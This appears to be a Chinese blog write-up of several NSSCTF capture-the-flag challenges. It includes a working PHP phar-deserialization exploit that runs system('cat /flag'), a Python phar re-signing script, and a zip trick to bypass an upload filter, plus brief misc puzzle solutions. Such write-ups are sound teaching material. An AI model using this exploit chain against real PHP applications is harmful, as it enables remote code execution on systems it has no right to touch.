当前位置:网站首页>NSSCTF部分复现
NSSCTF部分复现
2022-08-08 16:10:00 【Msaerati】
WEB
ez_rce
看版本,百度一下有目录穿越漏洞
Apache HTTP Server 2.4.49 路径穿越漏洞复现及利用_Tauil的博客-CSDN博客
构造payload
这里制造了一个文件夹迷宫,仅存在四层
1zweb(revenge)
一个文件上传的页面,可以查看文件
先查看一下基本的文件,index.php,uoload.php,等
index.php
<?php
class LoveNss{
public $ljt;
public $dky;
public $cmd;
public function __construct(){
$this->ljt="ljt";
$this->dky="dky";
phpinfo();
}
public function __destruct(){
if($this->ljt==="Misc"&&$this->dky==="Re")
eval($this->cmd);
}
public function __wakeup(){
$this->ljt="Re";
$this->dky="Misc";
}
}
$file=$_POST['file'];
if(isset($_POST['file'])){
echo file_get_contents($file);
}
?>
file_get_contents读phar文件时能能触发返序列化漏洞,明显要让dky=“Re”,ljt=“Misc”,执行cmd的任意代码
pop
<?php
unlink('phar.phar');
class LoveNss{
public $ljt;
public $dky;
public $cmd;
}
$a=new LoveNss();
$a->cmd="system('cat /flag');";
$a->ljt="Misc";
$a->dky="Re";
$phar = new Phar('phar.phar');
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->setMetadata($a);
$phar->addFromString('1.txt','dky');
?>
运行得到一个phar文件,我们还要绕过wakeup函数,
改完之后要修改签名
from hashlib import sha1
f = open('../phar.phar', 'rb').read() # 修改内容后的phar文件
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s+sha1(s).digest()+h # 数据 + 签名 + 类型 + GBMB
open('22.phar', 'wb').write(newf) # 写入新文件
再看upload.php
<?php
if ($_FILES["file"]["error"] > 0){
echo "上传异常";
}
else{
$allowedExts = array("gif", "jpeg", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp);
if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){
$content=file_get_contents($_FILES["file"]["tmp_name"]);
$pos = strpos($content, "__HALT_COMPILER();");
if(gettype($pos)==="integer"){
echo "ltj一眼就发现了phar";
}else{
if (file_exists("./upload/" . $_FILES["file"]["name"])){
echo $_FILES["file"]["name"] . " 文件已经存在";
}else{
$myfile = fopen("./upload/".$_FILES["file"]["name"], "w");
fwrite($myfile, $content);
fclose($myfile);
echo "上传成功 ./upload/".$_FILES["file"]["name"];
}
}
}else{
echo "dky不喜欢这个文件 .".$extension;
}
}
?>
后缀必须是图片,且内容不能出现phar标志
可以压缩zip绕过
上传后用phar伪协议读取
MISC
Type Message
电话拨号
用九键拼出来是NSSCTF,后面三个音频都一样,拼起来就是flag
Knight’S Tour
拿到ChessBoard.zip压缩包,发现打不开,拖进010里看一看
好家伙,zip竟然是rar的头,直接修改头为504b0304 就可以正常解压解压后得到图片
观察分析,发现上面8x8的格子中正好对应下面的字母,应该是照顺序打乱了,结合题目Knight’s Tour,可以找到这样一个游戏根据游戏规则可以得到下面结果这里跟据第一列全为红色,每排有8个,只有两种颜色可以推测(脑洞)出红色代表0 黄色代表 1解出来为[email protected],即为flag
边栏推荐
猜你喜欢
OpenAI怎么写作「谷歌小发猫写作」
GHOST工具访问数据库
Nuxt - 网站接入 51LA 网站统计(详细教程)
First online!Messaging middleware fairy notes, covering the essence of Alibaba's ten years of technology
api的封装
微信公众号+web后台的工资条发放功能的实现
Thoroughly understand the volatile keyword and application scenarios, and it is a must for interviews, and Xiaobai can understand it!
【Unity入门计划】用双血条方法控制伤害区域减血速度
Patience sorting - specializing in quickly solving the longest increasing subarray
10分钟快速入门RDS【华为云至简致远】
随机推荐
api的封装
Thoroughly understand the volatile keyword and application scenarios, and it is a must for interviews, and Xiaobai can understand it!
pytorch安装过程中出现torch.cuda.isavailable()=False问题
Superset 1.2.0 安装
【云原生】-MySQL压测神器HammerDB的部署及使用
我分析30w条数据后发现,西安新房公摊最低的竟是这里?
MySQL数据库的简介及select语句的执行流程
非常菜的一个批量布置waf脚本
手机注册股票开户的流程?网上开户安全?
codeforces 444C DZY Loves Colors
广东大学生网络安全攻防大赛CTF部分WP
redis设计与实现 笔记(一)
Take you to play with the "Super Cup" ECS features and experiment on the pit [HUAWEI CLOUD is simple and far]
jupyter notebook hide & show all output
全网首发!消息中间件神仙笔记,涵盖阿里十年技术精髓
sql合并连续时间段内,某字段相同的行。
Kubernetes-基础-常用命令
使用 FasterTransformer 和 Triton 推理服务器加速大型 Transformer 模型的推理
[Unity entry plan] Unity instance - how to protect data members through encapsulation in C#
Mysql数据库入门学习笔记